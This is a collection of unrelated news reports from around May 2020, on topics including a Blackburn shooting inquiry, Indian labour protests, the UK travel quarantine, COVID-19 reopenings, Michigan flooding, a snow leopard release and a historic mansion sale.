A man aged 39 from Blackburn arrested on Wednesday on suspicion of murder and attempted murder and a man aged 34 from Blackburn arrested on Thursday on suspicion of murder and attempted murder remain in custody.

A 22-year-old man from Blackburn arrested earlier today on suspicion of murder and attempted murder has been released without charge.

Senior investigating officer Detective Superintendent Andy Cribbin, from Lancashire Constabulary's major investigation team, said: 'While we have now charged a number of people in connection with Aya's murder our enquiries are very much on-going.

'I would like to thank all those who have come forward to assist with our investigation so far and to continue to encourage people to come and speak to us if they have information.

'Aya, the innocent victim in all of this, along with her family, deserve justice and it is people telling us what they know that will help us find the people or person responsible.'

A number of people were travelling in the light green/silver Toyota Avensis from which the shots were fired close to the Lidl store.

The vehicle was abandoned a short time later in nearby Wellington Road and seized for forensic examination.
Ten central trade unions on Friday held protests across the country to oppose suspension and tweaking of labour laws by states

New Delhi: Ten central trade unions on Friday held protests across the country to oppose suspension and tweaking of labour laws by states.

The hunger strike, demonstrations and processions were observed by workers at several places to press for the withdrawal of "draconian changes" in labour laws, a joint statement by the trade unions said.

Several other trade unions active at national and state level also joined the call of a nationwide protest by central unions, it said.

A joint petition by the central trade unions (CTUs) was submitted to the Prime Minister via email.

The petition included the demands such as immediate relief to stranded workers for ferrying them safely to their homes, food to be made available to all, ensure wages to all for entire lockdown period and cash transfer of Rs 7,500 to non-income tax paying households, including unorganized labour force for at least three months to June.

The employees and workers from independent federations and associations such as banks, insurance, defence, telecom, central and state government employees etc. organised solidarity actions by wearing black badges in some cases and lunch hour meetings in other establishments and some participating in the action programmes directly.

The unions of oil sector in Assam and Arunachal Pradesh were also in protest action, the statement said.

Coal unions in Jharkhand, Chhattisgarh, Odisha, Telengana, Madhya Pradesh and Maharashtra were in protest action.

The hunger strike was resorted to in several states at some selected spots such as in Delhi, Karnataka, Assam, Bihar, Chhatisgarh, Punjab, Tamil Nadu, Puducherry, Orissa and Andhra Pradesh, it added.

In Tamil Nadu, protests were organized at 10,000 places with more than 2 lakh people. The programmes in Kerala were organised at 5,000 places with the participation of more than 1 lakh persons, it claimed.

In Maharashtra, the programmes could be organized in about 36 districts. In Haryana and Punjab the programmes were held in almost all districts and memorandum submitted to DC offices in several of them.

In Odisha also, the programmes were organised in all the districts as well as in the industrial ares of Rourkela, Sambalpur, Paradeep or in NCL areas. Protests in major towns and industrial areas of other states were organised.

In Delhi, some of the national leadership of the central trade unions participated in the hunger strike at Gandhi Samadhi, Rajghat.

Some of the protesting leaders were arrested and taken to Rajendra Nagar police station.
The son of Thai King Rama X lives just down the road from his father in Germany but his life is one of loneliness in a gilded cage the little prince cannot escape from, it has been claimed.

According to German newspaper Bild, the little Prince Dipangkorn Rasmijoti, 15, lives in a villa with a pool and a view over a lake, with two dozen servants.

Meanwhile his father, King Maha Vajiralongkorn, 67, is said to be self-isolating in a four-star Alpine hotel accompanied by a harem of 20 concubines with military ranks.

His 'sex soldiers' are said to be assembled as a military unit called the SAS like Britain's special forces - with the same motto, 'who dares wins'.

Little Prince Dipangkorn Rasmijoti, 15, (pictured) lives in a villa with a pool and a view over a lake, with two dozen servants

Thailand's King Maha Vajiralongkorn and Queen Suthida during their wedding ceremony in Bangkok in May last year. According to tradition, the King has a semi-divine status and must be seated higher than those around him

The prince was born on 29th April, 2005, as Dipangkorn Rasmijoti Sirivibulyarajakumar in Bangkok.

His mother, Princess Srirasmi, 48, was the third wife of the Thai king, and was reportedly chased out of court after they divorced in 2014.

She received a severance payment of 4.57 million - while also waiving custody of her son.

According to Bild, the teenager has had no contact with his mother since then.

His father, Thai king Maha Vajiralongkorn, 67, also known as Rama X, reportedly lives 40 miles away from his son.

The Grand Hotel Sonnenbichl in southern Germany where the King of Thailand is staying during the lockdown while other guests are kept out because of the pandemic

He is allegedly staying in the Grand Hotel Sonnenbichl in Garmisch-Partenkirchen, a ski resort in the southern German state of Bavaria, where he is self-isolating during the coronavirs pandemic and allegedly enjoys 'orgies with his 20 concubines.'

Vajiralongkorn and his entourage have reportedly booked out the whole fourth floor which includes a 'pleasure room' and is decked out with 'treasures and antiques' from Thailand.

A former palace employee, who has not been named, told Bild: 'Dipangkorn is autistic. That was definitely the reason why he came to Germany.

'Maha Vajiralongkorn is ashamed of his son's developmental disorder. In Thailand he is also called Mara, the equivalent of Satan in Buddhism.'

One of the suites available in the hotel where the king is said to be staying

A room inside the Alpine hotel - which says it is not accepting bookings during the pandemic, but has a king and his entourage staying on the fourth floor

As the King's only legitimate son and thus the heir to the throne, Dipangkorn has been removed from the public eye and is on a 'development program', according to the German publication.

Rama X has reportedly been living in Germany since 2007.

Dipangkorn has been attending the Waldorf School in Wolfratshausen since 2011. He is said to speak German, with a Bavarian accent, better than he does Thai.

Human rights journalist Andrew MacGregor Marshall, 49, told Bild: 'After the king's death, Dipangkorn will probably become Rama XI. But Sirindhorn, the king's sister, or his daughter Bajrakitiyabha will rule.'

Until then, the little prince reportedly continues to live in Feldafing, an affluent Bavarian neighbourhood overlooking Lake Starnberg.
TRENTON  Joe Harrison is batting 1000.

The East Ward councilman avoided censure at Thursdays night meeting. And now, The Trentonian has learned that his recall effort is now kaput, at least for the time being.

Lisa Morris visited the clerks office Friday to remove herself from the recall committee. The Trentonian filed an public records request for the letter.

Morris decision to bail on the petition strikes a fatal blow to the effort to remove Harrison from office.

State law requires at least three registered voters on the recall committee to initiate the proceedings.

City officials confirmed the Harrison recall committee must submit a new petition if it plans to re-instate the removal action against the East Ward legislator.

Morris acknowledged her signature appeared on the initial petition but claimed she was misled into signing it.

She wouldnt identify the person who she claims misled her saying it doesnt matter.

I wanted to clear my name, Morris told The Trentonian. Things were done behind my back. Im done with it.

Morris name appeared on the recall committee with Sonya Wilkins, a former aide to council president Kathy McBride, and Anthony Johnson.

The trio filed paperwork this week, kick-starting the process of removing Harrison from office over allegations that he is failing to perform his council duties and unbecoming conduct.

The recall effort  also targeting Mayor Reed Gusciora and West Ward councilwoman Robin Vaughn  comes after the three sitting politicians had it out during a coronavirus briefing this month.

Gusciora went after Vaughn for attacking the citys do-nothing nonprofits. He called her an idiot, child, little a**hole and suggested she should be lobotomized.

In turn, Vaughn called Gusciora a pedophile and suggested her runs young boys through City Hall.

When Harrison stood up for the mayor, Vaughn accused him of sucking Guscioras d**k. She also called his mother a whore and suggested his father was a deadbeat.

Harrison called Vaughn ugly during the call, and told her she needed to see a psychiatrist.

In an interview, he disputed attacking the West Ward leaders looks saying he was commenting on her behavior on the legislative body.

Both council members were given disciplinary Rice notices per advice of city law director John Morelli.

Vaughn opted to have her hearing in executive session while Harrison, who condemned Vaughns comments and called on her to step down, had his held publicly.

Both council members avoided censures at Thursdays meeting  Vaughn by a 4-3 vote and Harrison 7-0.

Johnson made it clear he was a willing participant in the effort to remove Harrison.

He told The Trentonian in an email this week that he was tired of watching the total circus that has become council.

The single father said he couldnt fathom having to explain the politicians disrespectful banter on the coroanvirus call to his daughter, who is now old enough to vote for the first time.

He accused Harrison and Gusciora of being absent politicians and faulted the East Ward legislator for not being a more active policy-maker.

Harrison sponsored a rent-control ordinance that passed Thursday.

When there is a problem within the neighborhoods with the City of Trenton, the mayor and Councilman Harrison cannot be found, he said. The mayor can always be found at a local party where he likes to dance with the public and make false promises about getting things done. Joe Harrison has not been an author of not one legislation in the two years in office, in fact I do not not believe he does anything except get a check from the hardworking Trentonians.

Neither Wilkins nor Johnson could be immediately reached for comment about whether they plan to resurrect the removal effort.

Harrison was at a city food give-away when The Trentonian relayed what happened. He seemed nonplussed.

Im not gonna waste my time on it. Thats no them, said Harrison, who edged out Taiwanda Terry-Wilson in the runoff by the slimmest of margins. Its never about Joe Harrison. Its about the people.

Morris was reluctant to talk to The Trentonian about the recall debacle and declined to say whether she voted for Harrison in the 2018 municipal election.

She said she felt he was doing more for the East Ward than past politicians have done for that sector of the city.

Everything happened, she said. You get caught up in the moment. Im just done. I dont like publicity. Im not like that.

Morris denied knowing or having ties to Harrisons biggest adversary, Vaughn.

None whatsoever, she said.
Britain will introduce a COVID-19 quarantine for travellers arriving from abroad from June 8, interior minister Priti Patel said on Friday, a measure that airlines have warned will devastate their industry.

All international arrivals, including returning Britons, will have to self-isolate for 14 days and provide details of where they will be staying under the plans, which were criticised by airlines, business groups and politicians alike.

Now we are past the peak of this virus, we must take steps to guard against imported cases triggering a resurgence of this deadly disease, Patel said at a news conference.

Those who breached the quarantine in England could be fined 1,000 pounds ($1,218), and spot checks would be carried out by health and border officials.

The quarantine will not apply to those arriving from the Irish Republic, nor to freight drivers, medical professionals and seasonal agricultural workers. The measures will be reviewed every 3 weeks.

Transport minister Grant Shapps has also suggested the government would seek to negotiate air bridges for travellers coming from countries with low virus infection rates.

Unlike many other countries, Britain has carried out few tests and checks on visitors, with quarantine limited only to arrivals from China at the start of the outbreak.

Spain and Italy have introduced rules that mean international arrivals must self-isolate for two weeks, while on Friday Ireland gave further details for its own quarantine proposals.

Airlines Dismayed

The British Chambers of Commerce (BCC) said the blanket quarantine was deeply concerning and could be avoided with strong safety measures.

This approach will damage international business and investor confidence at a time when it is vital to demonstrate that the UK can open for business safely, BCC Director General Adam Marshall said.

The opposition Labour Party supported the measures but said the governments handling of UK arrivals had lacked urgency, coherence and clarity from the outset. Some members of Johnsons Conservative party have also criticised the plan.

Chief among industry critics of the plan are airline bosses.

They have said the measures would have severe repercussions, with Michael OLeary, Ryanairs chief executive, saying they would be unenforceable and unpoliceable.

Ryanair and easyJet have outlined plans to restart some flights in coming months. But under the quarantine plan, Virgin Atlantic will not restart until August at the earliest.

Introducing a quarantine at this stage makes no sense and will mean very limited international aviation at best, said Tim Alderslade, Chief Executive of industry body Airlines UK.

It is just about the worst thing government could do if their aim is to restart the economy.

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A group of migrants, waiting outside a Lajpat Nagar school for heath screening, were sprayed with a disinfectant by an area civic body worker on Friday.

The South Delhi Municipal Corporation later said it happened by mistake as the worker could not handle the pressure of the jetting machine and its official present at the spot had "apologised" to the public.

Scores of migrants had gathered outside the Hemu Kalani Senior Secondary School for screening in Lajpat Nagar-3 before boarding a Shramik Special train.

A video clip of the incident was circulated on social media. A worker engaged in a sanitation drive can be seen spraying disinfectant on some of the migrant workers present there.

Since the school is in a residential colony, there was huge demand from residents for disinfecting the compound and the road. But due to the pressure of the jetting machine, the worker could not manage it for some moments.

"The staff has already been instructed to be more careful and attentive while doing the job in future. The official present at the site apologised to public, the SDMC said in a statement.

A massive number of migrant workers and their family have been attempting to reach home, by any means of transportation, while a large number of them have been undertaking the journey on foot.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Akbar Mammadov

Azerbaijans Foreign Ministry has held a ceremony to receive medical aid brought by China to Azerbaijan to help the country's fight against COVID-19, the ministry's press service reported.

As part of the ceremony held on May 21, Deputy Minister of Health of Azerbaijan Viktor Gasimov and Ambassador of China Guo Min signed "Delivery Acts on the provision of the second and third sets of medical devices by the People's Republic of China to the Republic of Azerbaijan to combat the COVID-19 pandemic."

The third set of anti-epidemic drugs include 5,000 epidemic detection tests, 10 non-invasive artificial respirators, 3,500 sets of medical protective clothing, 600,000 disposable medical masks, 50,000 medical KN95 masks.

Earlier, on 2 April, Azerbaijan received the first set of the anti-epidemic devices sent by the Chinese government.

The event was addressed by Deputy Foreign Minister Ramiz Hasanov, Deputy Minister of Health Viktor Gasimov and Ambassador Extraordinary and Plenipotentiary of China Guo Min.

Ramiz Hasanov, Deputy Foreign Minister of Azerbaijan, noted that the holding of another event at the Foreign Ministry on the delivery of the next set of medical supplies by the Chinese Government to the Government of Azerbaijan in the fight against the new coronavirus is an indicator of beneficial relations between the two countries.

In her speech, Chinese Ambassador Guo Min expressed sincere gratitude to Azerbaijans Foreign Ministry for organizing the handover ceremony of the second and third sets of anti-epidemic drugs brought to Azerbaijan by the Chinese Government.

In turn, Deputy Health Minister Viktor Gasimov thanked China for its support to Azerbaijan and stressed the importance of uniting the efforts of the international community against the COVID-19 pandemic, which has become a global health crisis.

The Chinese ambassador also congratulated Azerbaijan and its people on the forthcoming Republic Day celebrated on May 28 and wished eternal friendship between China and Azerbaijan.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
According to the tipster, the leaked 6-series Snapdragon SoC will feature an octa-core CPU design. The chip is expected to launch in Q2 2020.

5G is becoming the centre play for Qualcomm this year with the chipmaker taking its 5G modems beyond the flagship level. We saw that happen with the Snapdragon 765 late last year, and now the Snapdragon 6-series will also reportedly include a 5G SoC.

Details about an sm6350 SoC leaked courtesy noted Chinese tipster Digital Chat Station on Weibo which highlights a 5G chip inside. Notably, the chip could be a big push towards the China market where 5G connectivity is live and 5G smartphones are launching left, right and centre.

According to the tipster, the leaked 6-series Snapdragon SoC will feature an octa-core CPU design with two large cores clocked at 2.25GHz and six efficiency cores clocked at 1.8GHz. The chipset will feature the Adreno 615 GPU which also features in the Snapdragon 670. The chip is expected to launch in Q2 2020 and will sport a 5G modem.

The tipster also claimed Qualcomm is not alone in making low-end 5G chipsets. MediaTek and Huawei are also expected to announce similar mid-range 5G chipsets. The post included the name of MT6853 5G SoC and the Kirin 720 5G, which are also expected to be announced soon.

In other Qualcomm news, the OnePlus Z could also be coming with a Qualcomm processor. You can read more about that story here.
President Donald Trump pressed for a further reopening of the United States as job losses mount from coronavirus shutdowns, while China's premier warned of "immense" economic challenges even as the Asian giant emerges from the worst of the pandemic.

Calls to kickstart the world's two largest economies came as large parts of Europe continued to resume normal life as the crisis there abates, with more shops opening and beaches welcoming tourists.

Delegates wearing face masks stand in a silent tribute for victims of COVID-19 during the opening session of the National People's Congressat the Great Hall of the People in Beijing. By Leo RAMIREZ (AFP)

But the lifting of restrictions in some places comes despite virus cases passing five million globally, with the disease continuing its march in Latin America and Russia.

Trump, with an eye on his re-election prospects in November, made it clear he hoped more US state governors would move towards a loosening of anti-virus restrictions.

"We did the right thing but we now want to get going... you'll break the country if you don't," he told African-American leaders in Michigan.

US President Donald Trump speaks during a tour of the Ford Rawsonville Plant, that has been converted to making personal protection and medical equipment, in Ypsilanti, Michigan. By Brendan Smialowski (AFP)

Another 2.43 million Americans were put out of work last week, the Labor Department said Thursday, bringing the total of newly jobless to 38.6 million since lockdowns were put in place.

The Republican incumbent also talked about reopening places of worship, something he had initially hoped would be done by Easter Sunday, saying it was important to the nation's healing.

"People want to be in their churches," Trump said. "They're so important in terms of the psyche of our country."

A worker sweeps the floor next to coffins for Covid-19 victims at El Angel cemetery, in Lima, Peru. By ERNESTO BENAVIDES (AFP)

The president has adopted the theme of "Transitioning Back to Greatness" as states reopen at different speeds.

Deaths are still mounting in the US, with the total surpassing 94,000, and Trump ordered flags at federal buildings be flown at half-staff for three days for the victims.

Return to normal

Across the Atlantic, much of Europe pressed on with work to get life rolling again, with Cyprus lifting curfews and allowing outdoor restaurants, barber shops and beaches to reopen.

Iraqi medics arrive in Sadr City to test residents for COVID-19. By AHMAD AL-RUBAYE (AFP)

But the Mediterranean island's airports and hotels remain closed.

"I want my work back and my life back," said Sakis Siakopoulos, a restaurant owner in the capital Nicosia.

In Denmark, the exit from lockdown also picked up pace as museums and zoos began reopening and health officials said the spread of the virus was slowing.

A visitor wearing a face mask points at masked statues at Yasaka Shrine in Kyoto, Japan. By Philip FONG (AFP)

France, one of the countries hit hardest by the outbreak, saw its daily death toll dip to 83, providing a cause for optimism.

A closely watched survey by IHS Markit indicated the eurozone economy has now "likely bottomed out", sparking hope that a recovery is to follow.

'It doesn't stop'

But while many European countries have significantly curbed the contagion, Latin America is becoming a new hotspot with cases on the rise.

A man drinks coffee outside a hairdresser's salon in the Cypriot capital Nicosia. By Iakovos Hatzistavrou (AFP)

Brazil -- now home to the third-highest number of cases in the world after the US and Russia -- has recorded more than 20,000 deaths and hit a record 24-hour toll of 1,188.

Grave diggers at a cemetery outside Sao Paulo are scrambling to keep up.

"We've been working 12-hour days, burying them one after the other. It doesn't stop," said one worker at Vila Formosa, wearing a white protective suit, mask and face shield.

Yemeni children cheer as a worker wearing a protective gear sprays disinfectant on a car in the capital Sanaa. By Mohammed HUWAIS (AFP)

Peru, Mexico and Chile have also seen steady increases in infections.

"It's like a horror film," Miguel Armas, a nurse at the Hipolito Unanue hospital in the Peruvian capital, told AFP.

The death toll worldwide has now surpassed 330,000, according to an AFP tally based on official sources.

War of words

Recriminations over the pandemic have continued to fly between the United States and China -- where the outbreak first erupted last year -- with Trump blaming Beijing's "incompetence" for the extent of the global crisis.

Relatives wearing protective gear carry the coffin of a woman who died from COVID-19 into a graveyard in Srinagar. By TAUSEEF MUSTAFA (AFP)

China has rejected that criticism, insisting it has been forthright with the world about the origins of the virus and its work to tackle its spread.

"It is neither responsible nor moral to cover up one's own problems by blaming others," said Zhang Yesui, a spokesman for China's legislature.

On Friday Chinese Premier Li Keqiang took the rare step of not setting an annual economic growth target for the country in light of the "great uncertainty" created by the pandemic.

Police ask to people to follow physical distancing rules in front of the hotel des Invalides in Paris. By THOMAS COEX (AFP)

At the opening of the National People's Congress he only said Beijing will "give priority to stabilising employment and ensuring living standards".

"At present, the epidemic has not yet come to an end, while the tasks we face in promoting development are immense," he said.

Delegates wearing face masks stand in a silent tribute for victims of COVID-19 during the opening session of the National People's Congressat the Great Hall of the People in Beijing. By Leo RAMIREZ (AFP)

Virus cases in the Asian giant are now down to a trickle, and Beijing insists its efforts to curb the spread have been a success, but questions remain about whether it underreported the numbers affected by the contagion.

Second surge

Governments around the world are testing ways to live long- term with the threat of the virus amid fears of a second wave of infections.

Already a common sight in Spain, masks were officially made mandatory Thursday for anyone over the age of six in public places where social distancing is not possible.

"The more tools we use, the better," said Miguel Domingo, a 49-year-old architect taking his two dogs for a walk in Madrid, which is emerging from one of the toughest lockdowns.

burs-axn/hg
Shimla, May 22 : Wildlife officials in Himachal Pradesh on Friday claimed that they have "successfully" reintroduced the six-month snow leopard in the wild in the Spiti Valley, some 350 km from Shimla, after 16 days of captivity.

However, wildlife lovers and experts were apprehensive about the survival of the cub in nature, after keeping him in human captivity so long.

The snow leopard cub that got trapped in a corral of Giu village of Kaza subdivision was captured on May 2, a media statement by Chief Wildlife Warden Savita said.

It was found to be injured and dehydrated and was brought to the nearest wildlife quarantine centre of the Himalayan Nature Park in Kufri for necessary treatment.

During its quarantine, extreme care was taken lest the animal develops any kind of human imprinting. After diligent care, it was found to be healthy for its release back into the wild, she said.

Doubting the success on its reintroduction into the wild, Rajeshwar Negi, national convener of Nature Watch India, said the cub's chances survival in the wild or reuniting with its mother is remote.

"Without its mother, the cub wouldn't be able to learn the survival skills like chasing the prey. In this case, the cub develops the habit of commercially prepared food like chicken during captivity," Negi told IANS.

"It survival through hunting is almost bleak now. Also its mother won't accept the cub after so long a gap," Shimla-based Negi, who is monitoring developments relating to the cub since its capture, said.

He questioned the decision of the wildlife wing to capture the cub.

"The unwarranted capture and now unexplained release of a six-month-old cub is an extremely botched-up case of misadventurism and bungling of wildlife and that of a threatened species like the snow leopard," he said.

"It violates all protocols and procedures regarding capture, transport and rehabilitation of felines, particularly leopards and tigers. Now with its release, they endanger the survival of this hapless cub," Negi said, demanding that the location of this cub be strictly and authentically reported.

Rather than re-introducing it in its alpine habitat soon after trapping it by "mistake", wildlife officials transported this vulnerable species for veterinary checkup to the nature park in Kufri, near here, some 350 km from the spot.

The decision has angered wildlife activists.

The wildlife wing had earlier admitted to IANS that there is no wildlife rehabilitation centre in high mountain passes of the state where the Central government-funded Snow Leopard Conservation Project is underway.

On its reintroduction, the wildlife wing statement said a team transported the animal to the location in the vicinity of its capture on May 16-17.

Keeping in mind the vulnerability of the species, due care was taken to complete the journey only during the cool hours of the day. The animal was medically observed at intervals of two hours throughout the journey and was adequately fed, watered and rested intermittently.

Another team headed by the DFO (Spiti) and representatives of the Nature Conservation Foundation had located a female snow leopard, probably the cub's mother, near Giu village.

The team kept close tabs on the movement of the animal. A strong liaisioning between the two teams was developed and a strategy was formulated to release this cub in its habitat itself near to the place from where it was captured, said the statement.

The cub was kept at this location for a short period and the team set up a camp at a short distance from the place. Entire area was covered through camera-trap surveillance and the animal was finally released in the evening of May 18 in accordance with guidelines.

Till the morning of May 21, no report of cub straying into human habitation has been reported and it is presumed that the animal receded deep into its wild habitat which is good for everyone, added the statement.

Wildlife lovers, however, said that it is not clear how the wildlife wing managed to reunite the abandoned cub with its mother or made up its opinion that it would survive in the harsh habitat with lack of survival skills like hunting.

(Vishal Gulati can be contacted at vishal.g@ians.in)
The James Seymour Mansion in Auburn, New York, finally has a new owner after the City of Auburn reviewed 204 submissions for parties interested in purchasing the home for $50,000.

And the winners are ...

Glenn James Joynt and Katherine Joynt (Klink), and their family of seven children. The Joynts are from Doylesburg, Pennslyvania, where they manage the Amish produce co-op Path Valley Farms.

The winning proposal was announced at a City of Auburn City Council meeting on Thursday, May 21. The Joynts plan to move their family back to Auburn to restore and reside in the property over the next four to seven years. Katherine Joynt grew up in Auburn.

The Joynts proposal included the $50,000 bid and a proposed investment of at least $155,000 which will be put into restoring the house. The purchase was conditional upon a project schedule agreed to by the city. The city also retains a right of reversion in the event that it isnt completed as scheduled.

Thank you all so much, said Katherine Joynt, who joined the meeting via phone. Weve really enjoyed the whole process of preparing for this moment. Clearly this is one of the most exciting things to have ever happened in our family. This is a great adventure.

The council said that, given the historical significance of the property, they wanted to try a different approach than offering to adjacent landowner.

The City of Auburn had narrowed the field down to five finalists in March, based on their plans for restoring the property. The bargain price attracted offers from all over the world after the original listing went viral in January.

In the end, the City Council held interviews with five finalists, three of which had ties to the Auburn area, and two of which currently resided in the state of New York. The other finalist proposals included a bed and breakfast, multiple dwelling residence, event hall, and home business office.

Joynts plan is quite comprehensive and encompassed within a thick 3-ring binder, said real estate broker Michael DeRosa. They have wonderful plans for the property and it involves utilizing good old-fashioned skilled Amish tradesmen for restoration.

The 1861 mansion was built for its first resident, banker and philanthropist James S. Seymour, who founded the Auburn City Hospital and Seymour Library. Located at 113 North St., the mansion sits on one of the main streets in Auburn, a city known for key figures and events in history related to the Civil War, Underground Railroad, womens rights, and much more. It was designed by architect John W. Venderbosch.

Among interested buyers who reached out to NYUP were a teacher, a CEO, and former Upstate New York residents. The mansion also got the attention of model and designer Christine McConnell, star of the Netflix series The Curious Creations of Christine McConnell.

Some of the other proposed uses for the building included a music hall, a film school, a recording studio and an academy of sorcery. You read that right.

Take a look at some of the pictures of the property below:

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

Map of James Seymour Mansion, 113 North St., Auburn, NY 13021Michael DeRosa / Michael DeRosa Exchange, LLC

James Seymour Mansion, 113 North St., Auburn, NY 13021.Michael DeRosa / Michael DeRosa Exchange, LLC

James Seymour Mansion, 113 North St., Auburn, NY 13021Courtesy of www.civilwareramansion.com

James Seymour Mansion, 113 North St., Auburn, NY 13021Michael DeRosa / Michael DeRosa Exchange, LLC
The government is considering urgently legislating to nullify a landmark court ruling allowing some casual workers access to paid leave and redundancy payouts as well as the casual loading applied to their wage in lieu of those entitlements.

Attorney-General and Industrial Relations Minister Christian Porter said as part of discussions with unions and employer groups ahead of any legislation change, the government would canvass extending a right of conversion, where casual workers can swap to being permanent staff after a set period.

Employers are warning businesses will lay off casuals come September because they are worried about having to pay them annual leave. Credit:Joe Armao

"During the COVID-19 challenge we obviously face enormous hurdles going forward to regrow employment, and this decision is unfortunately a driver of uncertainty into the employment market," Mr Porter said.

He said the fact the court had been forced to make a major clarification to workplace law in the middle of a pandemic showed "the very significant shortcomings in Australia's industrial relations system".
BAY CITY, MI - The Saginaw River has reached its peak height on Thursday, officials said, after initial reports said the water would crest over the weekend.

The National Weather Service said the rivers height will fluctuate up and down a few inches before starting to drop on Saturday, May 23. The river is running higher than usual due to recent heavy rainfall that has caused widespread flooding in mid-Michigan.

Areas in Bay City have seen some flooding, but nothing as severe as the flooding that has taken place in Midland. Homes around the Middlegrounds are experiencing water intrusion and the boat launch at Veterans Memorial Park is under water. Flooding can also be seen in areas such as Uptown along the riverfront where water has come up over some of the concrete features and at the flooded out Cass Avenue boat launch.

The City of Bay City made the decision to close portions of the Riverwalk due to high water. The concrete pier and what is called the Crooked Bridge, which is the wooden portion on the west side of the river, are closed until further notice and barricades are set up.

The City of Bay City is also taking proactive measures in keeping the runway at James Clements Airport safe. According to the city, crews have been monitoring the height of the Saginaw River.

The Saginaw River (which runs along the airport property) has only risen an inch on land from where our team marked yesterday. It is still business as usual, said a statement from the City of Bay City.

The Saginaw River was previously expected to peak on Friday night into Saturday morning, but the river had its own plans.

The latest observed measurement for the Saginaw River was 22.08 feet at 12:50 p.m. on May 21. Flood stage is 17 feet for the river. The NWS is predicting that the river will hold at approximately 22 feet until Friday night into Saturday morning, when it is then expected to steadily drop.

The Saginaw River is expected to drop below flood stage on Tuesday, May 26.

The Saginaw River peaked on Thursday, May 21. Courtesy of the National Weather Service.

Bay County was spared a possible catastrophic flooding situation after concerns swirled around due to floodwater coming down stream from the heavy flooding causing the Edenville Dam to fail and the Sanford Dam to breach in nearby Midland County. Bay County had already received 4-5 inches of rain due to a rainstorm earlier this week, which led to over 40 road closures throughout the county. The Bay County Emergency Management department also has been preparing for high water levels and rain events this spring as the area has been navigating historic high water levels.

Bay County Emergency Management Coordinator Ryan Manz said that this flooding level compares more to recent flooding events such as flooding during the 2019 fireworks festival and a fall storm later that year that flooded areas along the Saginaw River like the Middlegrounds.

Upstream from the Saginaw river lies the 10,000-acre Shiawassee National Wildlife Refuge, which serves as a flood mitigation tool, with numerous marshes and ponds to help take on extra water.

While Bay County has been spared a worst case scenario, the County has extended a helping hand to neighboring areas. Bay County agencies are currently working collectively and manpower and resources were sent to Midland County to provide assistance.

While we deal with the current flooding in Bay County, along with all Bay County residents, my heart goes out to our neighbors in Midland, Saginaw, Arenac and Gladwin counties as they deal with the horrific flooding in their communities, said Bay County Executive Jim Barcia. I know during trying times such as these, the Great Lakes Bay Region will stand together, help each other, and care for one another in any way possible.

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Flooding in Michigan: Everything we know about Midland County dam break

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Charleston International believes 40 percent of its originally projected passenger count will return for the new budget year starting in July.

And among those not bringing in visitors, at least for the rest of this year, will be British Airways.

Airport officials announced Thursday the London-based carrier will not return this calendar year, after it scuttled twice-weekly service that was scheduled to run from March through October because of the coronavirus.

"British Airways will not be coming back in the summer of 2020," said Gary Edwards, a liaison between the tourism agency Explore Charleston and the state's busiest airport.

Charleston tourism officials are already in discussions for the carrier to bring back the nonstop flights between the Holy City and London next year.

"There's no reason we can't make that happen again," Edwards said.

The British Airways website shows that travel vouchers are now good through April 2022.

The announcement came as Edwards said some of the nine carriers that serve Charleston will begin to add flights in June and July, helping to boost the airport's passenger count from about 10 percent now.

Delta, JetBlue, Southwest and American all plan to add flights over the next two months, and Silver Airways, which had planned to launch new service Thursday to four destinations in Florida is scheduled to come back at the end of June.

Affecting up to 35 percent of the airport's passenger count is the lockdown in the Northeast, which became a coronavirus hotspot over the spring.

"As they open up, we will begin to improve," Edwards said.

As part of the spending plan being put together for the next fiscal year, the airport projects it will handle about 3.2 million inbound and outbound travelers instead of the record 5.2 million it was expecting before the outbreak.

At the height of the economic lockdown in April, passenger counts were down 96 percent in Charleston and at other airports across the nation.

Passengers levels still are nowhere near where they were before the health crisis grounded flights across the globe, but they are starting to inch back.

On Sunday, generally the busiest travel day at Charleston airport, about 2,200 people arrived and departed, according to CEO Paul Campbell. That's far more than the 400 or so in mid-April, but still not near the 16,000 normally expected this time of year on a Sunday.

"We have hit bottom, but things are heading in the right direction now," Edwards said.

Because of the virus, the airport has slashed its projected spending plan next year from $83 million to $58 million. The board approved the budget Thursday.

"We are currently losing about $3 million a month, but we are getting lower and lower as enplanements go up," Campbell said, referring to departing passengers.

"We are cutting anything that's not necessary, and we have suspended all hiring, froze wages and cut all discretionary and non-critical spending," Campbell said.

Crews have continued work on a $90 million parking deck and expansion of the fuel storage site, which were already in progress before the health crisis. The five-tier, 3,005-space garage is expected to be completed before Thanksgiving, normally the busiest travel time of the year.

Travelers may not have to worry about finding a parking space this year, though. Passenger volume isn't expected to return to pre-pandemic levels until late 2022 or early 2023 at the earliest.

"We think that's very conservative, but that's what we have to plan on," Campbell said.

The airport also has worked out a plan that allows rental car companies and concessionaires to defer lease payments as long as they agree to the terms.

"That allows them to conserve cash now and pay us later," airport board chairwoman Helen Hill said.
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MELBOURNE, Fla., May 22, 2020 (GLOBE NEWSWIRE) -- The Goldfield Corporation (NYSE American: GV) released the comments made earlier today by Mr. John H. Sottile, President, Chief Executive Officer and Chairman of the Board, at The Goldfield Corporations annual meeting of stockholders. Goldfield is headquartered in Melbourne, Florida, and through its subsidiaries, Power Corporation of America, C and C Power Line, Inc., Southeast Power Corporation and Precision Foundations, Inc., is a leading provider of electrical construction services for the utility industry and industrial customers, with operations primarily in the Southeast, mid-Atlantic and Texas-Southwest regions of the United States. To a lesser extent, Goldfield is also engaged in real estate operations focused on the development of residential properties on the east coast of Central Florida.



THE GOLDFIELD CORPORATION

ANNUAL SHAREHOLDERS MEETING MAY 22, 2020

COMMENTS BY JOHN H. SOTTILE, PRESIDENT

In 2019, Goldfield achieved its highest level of revenue in its 113-year history as a public company and recorded strong earnings growth and a healthy electrical construction margin. We achieved these results across all geographic regions through the acquisition of new customers, continued growth with existing customers, as well as a service line expansion. This performance reflects our commitment to strengthen our operations while successfully and safely executing customer projects and delivering to our shareholders.

